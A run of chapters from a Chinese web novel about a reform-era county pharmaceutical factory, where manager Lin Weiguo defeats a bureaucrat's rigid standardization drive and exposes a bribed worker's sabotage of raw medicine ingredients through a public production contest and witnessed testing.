只一点小问题，就要经历十几项规范化的操作，这一套流程走下来，至少要耽误半天之间！ 整条生产线也会因此而陷入瘫痪状态！ 这次，车间中的机器又坏了。 不过这回，老师傅刘铁柱，并未上报，而是打算自己把机器修好。 这是林卫国当时规定的方法，发现问题解决问题，简单直接。 但这却和李建国的规定背道而驰。 故此，这次事件他没有上报。 但他修机器这一幕，却被巡视的李建国给撞见了。 李建国正发愁找不到一个能用来立威的反面典型，刘铁柱正好撞枪口上了！ “都给我停下！” 一声爆喝，李建国满脸寒霜地走了过来，直接站在刘铁柱身边。 “谁给你的胆子？竟敢违规操作！眼里还有没有组织纪律！” 刘铁柱脸涨得通红，大声道：“李处长！我这是为了保生产！机器就有点小毛病，我……” “住口！” 李建国粗暴打断，“狡辩！典型的无组织无纪律！” “所有机器，全停！今天不开生产会！开现场批判大会！” 闻讯赶来的王建民气得浑身发抖，立刻开口道：“李处长！你不能这么干！” “刘师傅是为了工厂！他解决了问题，保证了生产！有功无过！” “对啊李处长！刘师傅是为大家好！” “不能不分青红皂白就扣帽子啊！” 工人们鼓起勇气，纷纷求情。 李建国根本不屑一顾！ 他要的就是这效果！杀鸡儆猴！ 他冷笑着，根本无视王建民，直接道：“鉴于刘铁柱同志无视规定，影响恶劣！现决定，罚没刘铁柱同志半个月工资！” “另外，刘铁柱同志明天在全厂职工大会上做公开检讨！” 这处罚，如同一记响亮耳光，狠狠抽在刘铁柱和所有老师傅脸上！ “妈的！老子不干了！” 刘铁柱爆喝，手中扳手狠狠砸在地上！ “你个狗屁都不懂的官僚！老子伺候不起！” 说完扯下工装就要走！ “铁柱！回来！” 王建民再也忍无可忍，一把拽住徒弟，随即转身朝李建国喊道：“李建国！你懂不懂生产？！脱离实际瞎指挥！打击工人积极性！你在毁这个厂！” 车间彻底乱了。 工人们虽不敢再出声，但望向李建国的眼神，已变成了毫不掩饰的冰冷敌意与愤怒！ 李建国看着这近乎失控的场面，心中非但不慌，反涌起一阵病态快感。 闹吧！ 闹越大越好！ 你们越反抗，就越证明他标准化改造的必要和正确！ 他甚至盘算好了，如何添油加醋地向王宗德副省长汇报这场暴乱。 他要让所有人知道，他李建国，才是力挽狂澜的英雄！ 第118章 神仙难救了！ 这件事到底还是在李建国的强硬态度下收场了。 刘铁柱工资被扣，还在全员大会上做了检讨。 刘铁柱的事发生后，卫国制药厂的工人们心都凉了，他们没本事和省城来的大官对抗，只能默默选择沉默。 但沉默可不意味着屈服。 战争在安静的车间里悄然打响了。 第二天清晨，李建国走进车间，敏锐地察觉到有些不对劲。 昨日那种剑拔弩张的气氛没了，那些敢怒不敢言的眼神也消失不见了。 工人们都只顾埋头操作，车间里就只剩机器单调的轰鸣声。 “嗯，不错。” 李建国满意地点点头，以为昨天的强硬手段已经把这群工人给驯服了。 他没瞧见，工人们虽不再争辩反抗，但是选择了另外一种抗争的办法。 他们百分之百地服从操作手册，手册规定螺丝拧三圈，那就算螺丝掉了，他们也拧三圈。 手册规定机器间距三厘米，那就算产品做报废了，他们也坚持三厘米。 这不，一台机器的指示灯比平时多闪了一下，操作这台机器的工人马上停机，五页的《分析报告单》，耐心的填写：姓名、工号、时间、地点、机器型号、异常状况…… 半小时后，报告单送到了车间主任手里。 主任签了字，又送到李建国的办公室。 “报告李处长，A车间三号粉碎机出现轻微异常，请批示！” “按照规定，送去让工程师检修。” 报告单转到了省里的工程师团队。 他们来到车间，打开机器检查了两个小时，最后得出结论：机器正常，可能是电压不稳造成接触不良。 整套流程走完，耗费了半天时间。 就因为那台机器的一个指示灯闪烁，在生产高峰期它停摆了五个小时。 这种对抗极有效果，当天，工厂的效率就降低了50%。 李建国的气得肺都要炸了！ 他想发火，却不知朝谁发。 工人们完全按照他的规定办事，他如果因为这个发火，那就是在抽他自己的脸。 最终，他只能把一切都归罪于工人素质不高、思想守旧上。 为应对这样的情况，当天下午，他下达了新指令。 要求所有人每日的学习会从一小时延长到两小时！ 每个人都必须结合当天的工作，写不少于五百字的思想汇报！ 这决定无疑是火上浇油。 规定才施行了一天，工厂基本已处于瘫痪状态了。 …… 和工厂的消极怠工不同，林卫国的小组正干得热火朝天。 赵胜利每天都会悄悄过来，汇报那些触目惊心的生产报表以及车间里发生的荒唐事儿。 对此，林卫国都心中有数，他明白，反击的时候马上就要到了。 …… 省城，省政府大楼。 王宗德靠在沙发上，正听着电话里李建国的汇报。 “……王副省长，您是不在现场！那些工人思想落后，完全不讲纪律！什么集体荣誉，根本不在乎！我推行的科学管理办法，他们拒不配合！” “林卫国留下的烂摊子，触目惊心！” “不过您放心，局面我已经稳住！再给我半月，绝对能完成任务！” “好，我相信你。” 王宗德轻声开口：“尽管放手干，天塌下来，我顶着。” 电话挂断，王宗德又打电话给省报总编室。 “老刘？是我，王宗德。安排篇评论员文章，明天上《内部参考》。” …… 次日，面向全省领导干部的内部刊物《内部参考》送达各个单位。头版不起眼处，一篇“特约评论员”署名的文章赫然在列： 《警惕乡镇企业发展中的经验主义与本位主义倾向》。 文章虽未点名，却字字如刀，直刺卫国制药厂的安平模式。 文中写道：“……个别乡镇企业在取得些许成绩后，便沾沾自喜，固步自封，大搞所谓独创模式！这是无视科学规律的经验主义！是只顾眼前利益的本位主义！必须坚决遏制！” 这篇杀气腾腾的文章，如凛冽寒风，瞬间吹遍省内政坛。所有人都看懂：这是新副省长为后续行动预热的烽火狼烟！ 但这只是虚招。王宗德的致命一击，紧随其后。 当天下午，他亲自致电省医药总公司总经理张万年。 “万年，省里近期要统一梳理调配生产资料。” “原则是，优先保障省里几家重点国营单位的生产。你，明白吗？” “明白！王副省长，我马上办！” …… 仓库里，技术革新小组的攻坚战正到紧要关头。 赵胜利此时却忽然冲进来。 “厂长！天……天塌了！” 钱进和汉斯等人被他的模样惊住，纷纷停下动作。 林卫国眉头微凝：什么事？” “断供了！” “省医药总公司的张万年刚亲自来的电话！他说省里统一调配，咱们订的那批血竭，要暂缓供应！” 血竭！???? 仓库里所有人脸色骤变！ 血竭，是通脉丹配方里最核心的主药！ 这药材国内产量稀少，一直由省医药总公司计划管控。 掌握它，等于扼住所有心脑血管药厂的命脉！ “暂缓？下一批什么时候到？”林卫国的心猛地沉坠。 “他说……原料紧张，日期待定！”赵胜利声音满是绝望，“我追问多久，他……他直接撂了电话！” “我草他姥姥！” “这是绝户计！存心要逼死咱们！” “厂里库存还能撑多久？”林卫国声音也有些发干。 赵胜利颤抖着伸出两根手指： “最多……十天！” 十天！死一般的寂静笼罩仓库。 寒意仿佛瞬间抽干了所有空气，每个人的心都坠入冰窟。 完了！是真的完了！ 工厂内，被李建国以标准化的枷锁捆得濒死；工厂外，王宗德这记断供的毒招，精准斩断了最后一丝生路！里外夹击，十面埋伏！林卫国那诱蛇出洞的阳谋，至此已彻底化为绝境深渊！ 赵胜利望着黑板前沉默如山的林卫国，眼圈骤然红了。他踉跄上前，声音哽咽： “厂长……认输吧。咱斗不过的……现在就上省城，给王宗德磕头赔罪！只要保住厂子，保住大伙儿饭碗，我这张老脸……豁出去了！” 他盯着林卫国那平静得骇人的侧脸，最后一丝希望的微光摇曳在哀求中： “厂长，快想想辙吧！这回……再没法子，真就神仙难救了！” 第119章 强碱性工业化合物！ 隔天下午，李建国紧急召开全厂职工大会。 会上，王建民再次提出停产节约原料的建议。 李建国却只轻蔑地瞥了他们一眼，当场驳回。 他站在主席台上意气风发，挥动手臂，以极具煽动性的语气高声大喊： “同志们！我知道大家担心原料问题。但我们是新时代的工人，就得有迎难而上，敢打硬仗的精神！” “原料越紧张，越要跟时间赛跑！我们不但不能停，还要加快生产！” “从现在起，全厂进入战时状态，开展十日生产大会战！” “所有工人三班倒，所有机器二十四小时连轴转！不准停！” “必须在十天内，把所有库存原料用完！保质保量完成上级任务！” 这个疯狂的决定让王建民和赵胜利等人不知所措。 可李建国根本就不听他们的建议，执意如此执行。 王建民他们都清楚，李建国这是要把场子往死路上推！ 可他们就算知道，也没有任何办法。 而林卫国，始终不发一言，一句话都不说。 大会战第二夜。 车间连续疲劳作业，管理已明显松懈。 工人们精神萎靡，连监管人员也打起了瞌睡。 诺大的工厂死气沉沉的，一个身影悄悄溜进原料初加工车间。 这人正是马四！ 确认四下无人后，他从怀里掏出一个油纸包，迅速解开。 里面是半斤无色无味的工业碱粉。 他走到清洗池边，毫不犹豫地将整包碱粉倒了进去。 粉末入水即溶，转瞬无踪。 马四迅速离开。 …… 与此同时。 林卫国，脑海中忽的响起急促警报： 【警告！检测到核心原料血竭分子结构出现异常异变！】 【异变源比对成功：强碱性工业化合物！】 【结论：原料遭人为污染！成品将于十日后彻底失效！】 林卫国的目光瞬间结冰。 好毒的计策！ “厂长！到底怎么办啊！您说句话啊！” 赵胜利此刻焦急开口，已经快哭出来了。 他此番来找林卫国，就是来商量怎么救厂子的。 可厂长就是一直不说话，能把人急死！ 林卫国没有解释，他知道现在说什么都是徒劳。 他转过身，看向身旁的苏晚夏。 “晚夏，你马上去初加工车间，抽取从此刻起每一批初加工后的药材。” “记住，每个样本必须蜡封、贴标、注明批次时间，全部拿到这里单独保存。” 苏晚夏虽不解，却还是点头：“明白，这就去办。” …… 十日生产大会战，转眼进入第九天。 深夜，最后一批血竭投入了生产线。 当最后一盒通脉丹走下流水线时，李建国兴奋地起身，正准备宣布大会战胜利。 就在这时！ 砰！ 大门被狠狠撞开！ 质检科老科长钱大明，直接跑进来。手里攥着一份质检报告。 “李……李处长！出……出大事了……” 李建国一愣，随即愠怒道。“大呼小叫的！想什么样子！” “天塌下来了？” “比……比天塌了还严重……” 钱大明哆嗦着递过报告，李建国看了一眼，也觉得天塌下来了。 【关于大会战第一天（三日前）生产的第一批次通脉丹成品抽样复检报告】 【检验结果：该批次产品核心药效成分血竭素已全部分解。】 【结论：药效为零，定性为废品！】 轰！！！ 废品？怎么可能？！ 生产流程完全按照标准手册，每一步完美无缺！ 怎么可能是废品？！ “不可能！绝对不可能！” “是你们！质检科搞错了！检验方法有问题！” “李处长！我们……把第一批次所有成品都复检了三遍！结果都一样！” 李建国浑身剧颤，猛地想到了什么，随即冲向电话，对着话筒咆哮：“通知仓库！封锁所有成品！质检科、生产科所有人，马上对所有成品紧急复检！全部！！” 结果，是毁灭性的。 一小时后，一份份印证末日的复检报告雪片般堆满李建国的办公桌。 第一批，废品。 第二批，废品。 第三批，核心成分加速分解，预计十二小时后彻底失效！ …… 堆积如山的成品，超过八成已是废品。剩余的，也在不可逆转地持续失效！工厂的全部家底，全厂工人九天九夜的心血，在这场由他亲自指挥的大会战中，化为乌有！ 面对彻底的失败，李建国的第一反应不是反思，而是推卸责任。 他知道自己完了，但要在完蛋前拉上垫背的。 他立刻召集所有车间主任和班组长，在堆积如山的废品前召开紧急会议。 他脸上毫无羞愧，只有狰狞扭曲的愤怒。 那份早已准备好的黑锅，被他狠狠甩了出去。 “同志们！出这么大的事，我很难过！也很愤怒！” 他声色俱厉：“但是！我要告诉大家！事故根源，不在于省厅的标准化流程！我们的流程是科学的！先进的！” “根源在于我们队伍内部混入了一小撮阶级敌人！在于一部分思想落后的老工人，对标准化改造心怀不满！他们，故意在生产过程中搞破坏！” 他猛地抬手，用不容置疑的语气指向人群中那个脸色铁青、紧攥拳头的身影：“刘铁柱！就是你！你和你所在的班组！就是这次恶性生产事故的罪魁祸首！你们就是破坏生产的典型！” “我现在宣布！将刘铁柱及其班组全体成员，立刻停职！移交公安机关！以破坏生产罪严肃处理！” 这颠倒黑白的指控，成了压垮全厂工人的最后一根稻草。 当李建国命令一旁保安队去请刘铁柱时，异变陡生！ “谁敢动刘师傅一下试试！” 人群中一声爆喝！ 下一秒，数百名一直沉默的工人冲了出来。 那几百双眼睛里，只剩愤怒！ “你们……你们想干什么？！” 李建国色厉内荏：“要造反吗？！” 无人应答。 王建民此时走到李建国面前，从怀里掏出《标准化生产操作手册》。 他将厚厚的手册从中间撕成两半！ 然后将两半废纸狠狠摔在李建国惨白的脸上！ “我呸！” 王建民指着他的鼻子：“你定的这狗屁规矩，老子们不伺候了！” 他转身，对着身后几百名工人振臂高呼： “从现在开始！停工！” 第120章 透明的生产大比武 省城，深夜，王宗德办公室的电话忽然响起。 王宗德拿起听筒。电话那头，李建国语无伦次。 “王副省长！完了……全完了！” “那帮刁民造反了！全厂停工！他们把刘铁柱护起来，还撕了我的操作手册！” 王宗德脸上不见怒意，反而缓缓浮起一抹冰冷的笑意。 好。 闹吧。 闹得越大越好。 他等的就是这一刻。 “建国同志，别慌。” “你做得很好。这些天推行标准化生产，你呕心沥血，省里都清楚。” “出这么大的事，责任不在你。” “你先稳住。天亮之后，省里会给你，也给全厂工人一个交代。” 电话挂断，王宗德迅速拨出另一个号码。 “老钱，我。” “可以行动了。” …… 次日清晨。 卫国制药厂，几百名工人静立在办公楼前广场，沉默如铁。 突然，几辆黑色轿车驶入厂区。 车队停稳。省 钱处长走下轿车，径直走向乱成一片的大会议室。 他时机掐得极准，这是卫国制药厂最脆弱的时刻。 …… 全厂干部大会被迫召开。 钱处长稳坐主席台正中，身后是一排省厅干部。 李建国则缩在角落，如斗败的公鸡。 “安静！” 钱处长清清嗓子。 “安平县卫国制药厂发生重大质量事故，影响恶劣，损失巨大！事后还出现大规模停工！这说明管理出现严重问题！” “省委省政府高度重视！王副省长亲自指示：成立省厅联合验收组，查明真相、稳定秩序、挽回损失！” “从现在起，由我钱建军，任验收组长，全面接管卫国制药厂一切生产经营活动！” “所有人必须无条件服从指挥！谁敢阳奉阴违，一律从严处理！” 会场死寂。 赵胜利等人心沉谷底。 完了。 最终还是来了。 就在此时，一个声音从门口传来。 “等一下。” 所有人望去。 林卫国正一步步走进来，他沉稳如常，脸上不见惊慌愤怒。 他穿过人群，走上主席台，停在钱处长面前。 “钱处长，欢迎来到卫国制药厂。” 钱处长皱眉，眼中闪过不悦：“林卫国同志，你来得正好。关于这次事故……” “我来承担。” 林卫国再次打断他。 他没有争辩，没有解释，而是转向台下，深深鞠了一躬。 “同志们，这次事故责任在我。” “是我管理失职、领导无方，才造成今天这个局面。我向大家道歉。” 全场愕然。 钱处长与李建国对视一眼，眼中都透出几分惊讶和轻蔑来。 他们以为林卫国走投无路，认罪伏法了。 然而林卫国直起身，话锋骤转： “但是，承担责任，不等于全盘否定！” “我认为事故根源不在人，而在于管理模式！” “钱处长，李处长，你们省厅的标准化模式，和我们自己摸索的安平模式，到底哪种更科学、更先进、更适合工厂光说是没用的！” “我提议，就在这里，我们来一场公开，透明的生产大比武！” 钱处长和李建国彻底愣住。 他们没想到，林卫国在山穷水尽之时，竟提出如此疯狂的建议！ 林卫国不容他们反应，继续掷地有声： “我带厂里技术团队，李处长带省厅专家团队。” “我们各负责一条生产线，就用验收组带来的那批备用新原料，进行八小时生产竞赛！” “谁的模式产出合格品更多，谁的管理路线就更适合卫国制药厂！” “如果我输了，我辞去厂长一切职务，并个人承担全部经济损失！” “怎么样？” 话音落下，全场寂静。 林卫国的时机掐的也很准。 就掐在钱处长打算全面接手工厂，所有工人义愤填膺的当口。 他当着所有人的面提出这个要求，钱处长根本退无可退。 拒绝？那怎么可能，拒绝的话他是来干什么来了。 “好！那就比！” 消息没到第二天，就传遍了整个厂区。 所有宫人议论纷纷，都在担心林卫国会输。 如果林卫国输了，那他们的好厂长就没了。 但林卫国却并未关注这些，他有立刻就要解决的问题。 林卫国面临的第一个难题，就是工人的士气。 为解决这件事，他独自一人，来到了B区车间。 带头的工人是刘铁柱。 此刻，他抽着烟，面色铁青。 林卫国径直走到刘铁柱面前，直接对刘铁柱郑重地深鞠一躬。 “刘师傅，对不住了。” “前些天，是我考虑不周，才让您和各位老师傅受了大委屈。” “我林卫国，在这里向大家诚恳道歉。” “厂长，您……” 刘铁柱愣住了，不知该怎么应对，更不知道该说什么。 林卫国此时起身，又看向钱进和汉斯。 “把我们的成果给师傅们看看吧。” 钱进点头，随即和汉斯抬着了一块大木板走进来。 木板上是一系列造型奇特的工具模型和使用方法。 汉斯清了清嗓子，高声开口道： “各位师傅！这是我们技术小组的第一个成果，防呆卡尺！” 他拿起一个零件，又拿起普通卡尺： “按李处长的规定，这零件误差不能超过零点一毫米，很难精准。” “但我们按标准尺寸设置了物理限位，尺寸不对根本卡不进去！” “还有这个，定位模板！” 汉斯又道：“套上模板，对着孔直接打！位置绝对准确！” 紧接着，钱进走上前，沉声开口： “各位师傅，汉斯先生解决了操作问题。我负责化学问题。” …… 等钱进说完，工人们的眼神彻底变了。 他们重新看向林卫国，眼中燃起了希望与信任的火焰。 原来厂长一直在想着他们，他根本就没放弃！ 这时，林卫国再次高声开口道。 “我宣布！从今天起，所有参与比武的人员基础工资上浮百分之二十！” “此前被李建国废除的所有激励制度，全部恢复！” 人心，在这一刻彻底重聚。 …… 下午两点，生产大比武正式开始。 B区车间，林卫国把指挥权完全交给了新负责人刘铁柱。 工人们此时一边干活，一边说笑。 没有监视，没有压迫，只有干活的声音和发自内心的笑声。 第121章 立刻停机！ 上午八点整，生产大比武正式开始。 整个厂区被一道醒目的白线分隔成两个截然不同的世界。 A区车间里，气氛凝重如考场。 钱处长和李建国各搬一把椅子，像两尊门神守在生产线两端。 他们身后，省里来的专家手持记录本来回巡视，将工人的每个动作都详细记下。 “那个谁！手套为什么不按规范戴？” “你！投料姿势不对，扣一分！” 李建国不断呵斥工人，工人们敢怒不敢言，只能战战兢兢的操作。 整条流水线本该顺畅运行，却标准拖得磕磕绊绊，走走停停。 突然，一台反应釜发红灯爆闪！ “怎么回事！” 李建国一个箭步冲上前。 “报告李处长……我刚才太紧张，输送管道的压力值……多按了一个零……” 一个微不足道的操作失误。 若在平时，老师傅刘铁柱三两下就能手动校正。 但现在，不行。 “停机！立刻停机！” 李建国厉声吼道，“按手册第一百零三条，填写《重大生产安全隐患紧急报告单》！一式三份！写不清楚不准开机！” 年轻工人哆哆嗦嗦，花了整整二十分钟才填完那份五页的报告。 李建国拿着单子，装模作样地研究了十分钟，最后大笔一挥签下同意检修。 仅这一流程，就浪费了半小时。 …… 一墙之隔的B区，却是另一番景象。 这里没有监工，没有呵斥，指挥权完全交给了王建民和刘铁柱。 他们念着口号，用着简易高效的防呆工具，整条生产线如行云流水。 “投料之前先通风，一料二料顺序清！” “定位模板套得准，打孔保证不费神！” 车间里回荡着有力的号子与真诚的笑声。 更刺激的，是车间门口那张堆满现金的八仙桌。 每半小时，会计科的大嗓门姑娘就准时站到桌前喊话： “一组！超额完成任务百分之二十！奖金一百二十块！” “三组！孙志强同志提出新冷却方案，技术革新奖五十块！” 最直接的激励，让所有人的血液都沸腾了。 …… 工厂办公楼顶楼的临时指挥部里。 县长钱国栋和苏晚夏等人正通过高倍望远镜和内线电话密切关注赛况。 “报告！四个小时，刚刚四个小时！B区产量已经突破一万盒！合格率百分之百！” “什么？！” 钱国栋猛地站起，手中的茶杯险些打翻。 一万盒！ 这已超过A区预计的全天产量。 “A区呢？” “A区目前不到五千。之前停机半小时，废品率估计超百分之二十。” …… 八小时结束了。 最终结果写在工厂门口的大黑板上，供全厂乃至全县赶来的工人观看： 生产大比武最终结果 B区（安平模式）：总产量21500盒，合格率100%！ A区（标准化模式）：总产量8800盒，合格率68%！ 碾压。 李建国呆呆地望着那个三倍于己的数据，面如死灰。 他知道，自己不仅输了比武，更输了未来。 这时，林卫国缓缓走上临时主席台。 他拿起话筒，高声道： “同志们，今天，我们赢了。” “胜利属于B区每一位工人同志！” “我宣布，所有参与比武的B区工人，本月奖金翻倍！” 全场爆发出雷鸣般的掌声与欢呼，几乎掀翻屋顶。 待掌声稍息，林卫国话锋一转，看向垂头丧气的A区工人： “第二件事。” “A区的工人同志们，你们没有错。你被克扣的所有工资和奖金由我林卫国个人，全部补上！” 工人们闻言猛地抬头，全都看向林卫国。 “林厂长万岁！” 人群中，有人用尽全力喊出这一声。 紧接着。 “林厂长万岁！！！” 欢呼声在卫国制药厂上空回荡。 工人们一次次将林卫国高高抛起，用最热烈的方式庆祝这来之不易的胜利。 钱处长和他带来的省厅验收组，却在这震天欢呼中显得格外狼狈。 正当他们打算离开时，异变陡生！ “都给我站住！” 一声嘶吼忽然传来，所有人循声望去。 只见嘶吼的是李建国。 他此时头发凌乱，衣衫不整，双眼布满血丝，脸上却写满不甘。 他双目血红的看着钱处长，再次嘶吼道。 “假的！都是假的！” “这场比武，从头到尾就是一场骗局！” “是姓林的搞的鬼！” 李建国的神情更加疯狂。他猛地转身，看向林卫国，尖声叫道： “你们都被他骗了！” “他早在比武前，就把厂里最好的血竭原料藏起来，只留给B区使用！” “我们A区从一开始用的就是被污染的次等原料！” 原料不一样？？ 这番话立刻让不知情的人心生疑虑。 这的确太巧了！ 李建国看着众人脸上的惊疑，知道自己赌对了。 “前几天忽然又几万盒成品失效！你们真以为是事故？” “那是他林卫国自导自演的苦肉计！他早就知道原料有问题，故意让我们生产废品，把黑锅甩给我和省厅工作组！” “他自己留着好原料，等到比武今天拿出来，制造大获全胜的假象！” “这才是真相！” 工人们虽然信任林卫国，但还是纷纷看向他。 李建国说的事，厂长确实从未给出解释…… 难道真如李处长所说？ 正此时，远处的钱处长也心中一动，继而快步走上主席台，对着话筒高声道。 “同志们！安静！” “李建国同志反映的问题性质严重，省厅验收组高度重视！” “我们万万没想到，竟有人为了一场比武，采取如此卑劣的手段！” “为保障公平公正，给全厂职工一个真相，也还省厅验收组一个清白！” “我宣布：立即封存两区比武所用剩余原料，公开检验！” “在结果出来前，比武结果暂不生效！” “整个调查由省厅验收组全权主导！” 这话说的当真是冠冕堂皇，却将知道真相的人全都气了个半死。 “姓钱的！你放屁！”赵胜利咬牙切齿的喊道：“你们颠倒黑白！血口喷人！” “放肆！” 钱处长指着赵胜利喝道：“你想妨碍公务吗？！” 事情忽然反转了，被污蔑的工人自是义愤填膺。 赵胜利还想说什么，却被林卫国拦住了。 林卫国此时面色平静，好像他们说的事和他没有半点关系。 “厂长……” 赵胜利转头，林卫国拍了拍他的肩，继而迈步朝主席台走去。 上了主席台，他直接伸手拿过话筒，看着钱处长道。 “我同意封存原料，同意立刻检验。” “不过，我有个条件。” “既然要保证公平，只有省厅验收组恐怕难以服众。” “我要求检验全程公开！” “必须请来安平县公证处的公证员！” “请来县技术监督局的权威检测员！” “而且，必须请来省报记者全程报道！” “让记者记录检验全过程，登在报纸上！让全省人民都看看，到底是谁在弄虚作假！” 第122章 别让他跑了！ 半小时后，一切准备就绪。 钱处长主持会议。 “同志们！今天召开现场调查会，就是要本着实事求是的原则，查清卫国制药厂生产事故的真相！” “调查会现在开始！” 话音刚落，李建国直接起身道。 “我严重怀疑，林卫国使用了更高等级的原料！” “我要求立刻对两区剩余原料进行检验！尤其是B区的原料！” “可以。” 听到他的话，林卫国平静地点了点头。 他朝公证员道：“麻烦公证员同志了。” 在公证员和记者共同见证下，两份原料样本被郑重封存，等待检验。 这时，林卫国看向钱处长，轻声开口。 “钱处长，为了调查完整，只查昨天比武的原料恐怕不够吧？” 钱处长眉头一皱：“你什么意思？” “我们该彻查的是导致工厂全面停工的根源。” “必须搞清楚，那几万盒成品是怎么变成废品的。” “好……好啊！”钱处长道：“那就……一起查！” “好。” 林卫国笑了笑，随即高声说道： “下面，请本次调查会的第一位证人，德意志联邦共和国的特聘专家汉斯先生！” 汉斯？！ 那个德国人？！ 钱处长与李建国心里同时咯噔一下。 此时，汉斯抱着日志，面无表情地走到调查席前。 “钱处长，李处长。” 汉斯用生硬的中文开口说，“在我回答问题前，请大家先看一样东西。” “这是我的工作日志。” “我习惯将工作中观察到的每个细节都记录下来。” “根据记录，在李建国处长接管工厂的九天内，因流程混乱，造成的非必要停机达三十七次！违规操作导致的设备耗损，是正常情况的五倍！” “而最致命的，是在大会战第二天深夜！” “当天凌晨三点十五分。A区初加工车间当班工人马四，在无指令的情况下擅自进入原料清洗区，对编号7B、7C、7D的三个批次血竭原料进行了异常操作。” “当时我恰在巡视设备，发现那三个批次原料清洗后，表面酸碱度出现微弱而不正常的波动！我当即向李建国处长作了口头汇报！” 汉斯抬起头，直直的看着李建国： “不过李建国处长当场驳回了我的警示！” “但考虑到事情的严重性，我在留下了当时那三个批次原料可疑的化学成分标注！” 这话说完，李建国的脸直接白了。 汉斯的话构成了一条完整的证据链！ 李建国指着汉斯，半天说不出一个字。 然而，还没完。 林卫国朝身后的苏晚夏平静地点了点头。 苏晚夏立即上前，将一只贴满封条和编号的金属箱放在调查席上。 “钱处长，李处长。” 林卫国注视两人，一字一顿道： “这里面封存的，是我让苏晚夏同志保存的原料样品。” “编号7B、7C、7D的样品，就在这里。” 他转身朝向县技术监督局检测员和省报记者。 “现在，我正式请求县技术监督局，对这三个批次的样品进行现场化学成分检测！” 整个车间一片死寂，所有人的呼吸仿佛都停止了。 检测员打开金属箱，当场开始检测。 省报记者则一直在记录，照相机基本就没听过。 钱处长和李建国都是面色铁青，心中十分不安。 “第一项，比对检验。” 在众人屏息注视下，两支试管中的液体逐渐变成了同样清澈的淡黄色。 “报告！” “经初步化学比对，A、B两区所使用的原料，其核心成分、纯度及微量元素构成完全一致，均符合国家一级标准！” 工人们脸上浮出一丝困惑。 李建国和钱处长却暗暗松了口气。 只要原料没问题，他们就还能拿管理模式说事，把水搅浑。 “第二项，关键样品检测！” 在公证员和记者见证下，封条被撕开。 三份暗红色的药材粉末被放入培养皿中。 这一次，检测员没有使用化学试剂。而是取出一台造型奇特的仪器，对准第一份样品，按下开关。 粉末中赫然浮现出无数诡异荧光。 “工业碱残留荧光反应！” 检测员再次开口：“只有浓度超过万分之五的强碱性工业化合物，才会在特定紫外线下出现这种反应。” 为排除偶然，他继续检测其他样品，结果完全相同。 证据确凿了。 “不……不可能……” 钱处长面色瞬间惨白。 他终于明白，自己掉进了林卫国的陷阱里了。 他以为是来摘桃子的，没想到自己才是桃子。 所有证据形成闭环，他完了。 嘉奖和提拔根本不可能了。 李建国更是面如死灰，他比钱处长的问题还大，等着他的很可能是冰冷的手铐。 想到这结果，他忽然推开身旁的人，冲向放着样品和证据的桌子。 他妄想毁灭证据。 可他怎么可能成功。 刘铁柱最先上去拦住了他。 “给老子躺下！” 刘铁柱一声怒吼，钳住李建国的关节，直接将他按倒在地上。 “别让他跑了！” 工人们顿时一拥而上，将李建国团围住。 与此同时，林卫国缓缓走向马四。 林卫国到了近前，轻声问道： “马师傅，最近半个月，是不是觉得两只手背又痛又痒，起满了红疹子？” “尤其晚上，钻心的痒让你睡不着，只能用开水烫才稍微缓解？” 马四闻言猛地抬头，像见鬼一样盯着林卫国。 这些症状他谁都没告诉过，林卫国怎么会知道？ “别怕，这不是大病。就是长期接触工业碱，烧坏了皮肤。” “回头我给你开个方子，半个月就能好。” 这番的话，成了压垮马四心理防线的的最后一根稻草。 他再也撑不住了，哇的一声涕泪横流：“我说！我全说！” “都是他们逼我的！是李建国，还有省里的王宗德副省长！” “他们承诺给我儿子转正，还给了我五百块钱……让我在原料里下毒！” “林厂长，求求您饶我一次！我再也不敢了！” 他撕心裂肺的哭嚎通过话筒，传遍了整个会场。 第123章 秦老将军？ 这件事已经尘埃落定了，接下来，是要处理内部的事。 林卫国送走了县里的领导和省报记者，关上了会议室的门。 此时，会议室中只有他和钱处长两人。 两人之间已不存在任何博弈的空间，但林卫国还是给了钱处长机会。 他将所有证据全部放进文件夹中，递给钱处长，并让他带回省里，交给王副省长。 钱处长有些发愣。 他想不到林卫国会这么做。 他明明已经没有反击的机会了，只要林卫国把证据交给纪检部门，不光他会被处分，王副省长一样会受影响。 但林卫国却什么要求都没提，只是让王副省长给他一个交代。 钱处长拿过证据，起身离开了。 这场博弈已经告一段落，林卫国并未下死手，自也是希望王副省长不要下死手。 当然，他不可能将自己的未来都放在别人手上。 除了让钱处长拿走证据之外，林卫国还准备了一个后手。 第二天的时候，他便送出去了一份报告。 报告被送到了省计委。 …… 王副省长的办事效率是很快的，两天之后，处理结果就下来了。 李建国因严重管理失职，被开除公职。 马四因涉嫌破坏生产，被移送司法机关。 结果下来的当天，省医药总公司就来了电报，恢复了对工厂的原料供应。 而钱处长和王宗德副省长却安然无恙，名字甚至都未被提及。 这就是王宗德的交代，他的确亲手惩治了他的下属。 这个结果，在林卫国的意料之中。 不过他意料之外的事还是有的，根源在他递交上去的报告中。 三天之后，林卫国接到了省计委办公室办公室的电话。 工作人员告诉他，周正国会亲自组织指导小组，来卫国制药常驻。 放下电话之后，林卫国的心才完全放下。 这就是他要的结果。 他在上交的报告中用了自我批评的手段，全然没提任何人的过错，把所有过失都揽到了自己身上。 这一招的确有了效果，赢得了周正国的好感。 只要周正国能来，那他下一步的计划，就有人保驾护航了。 即便王宗德心中不满，他也轻易不敢再对卫国制药下手！ …… 这天，钱国栋办公室的电话响了。 “喂，我是钱国栋。” 电话那头传来一个中气十足的声音。 “小钱同志，我是秦振邦。” 钱国栋脑中一震，整个人瞬间僵住。 秦老将军？那位传说中的开国元勋？怎么会亲自打电话给他？ 他紧张得手心冒汗，腿脚发软，几乎握不住话筒：“秦、秦老！首长好！” “小钱同志，别紧张。今天打电话，是要表扬你们安平县。” “你们在改革中敢闯敢试，顶住压力，支持了像卫国制药厂这样的新生事物。这种精神很好，中央是肯定的！” 这番话如同甘霖，让钱国栋激动得几乎落泪：“谢谢首长肯定！我们一定再接再厉！” “嗯。”秦老话锋一转，语气随和了些，“年轻人有冲劲是好事，但也要注意方式方法。不能太刚烈，有时候退一步，是为了进两步。不能让人抓住把柄，你说是不是？” 这番话看似随意，却字字珠玑。 既是提醒，也是点拨。 钱国栋顿时明白，林卫国在省里掀起的这场风波，京城早已看得清清楚楚。 就在他细细品味话中深意时，秦老最后又像是随口一提： “对了，还有个小事。” “听说你们安平的速效止血散效果很好，对部队战备意义重大。” “军方后勤装备部近期会派技术考察团去安平，实地调研安平模式在军需生产上的应用。你们做好接待准备。” 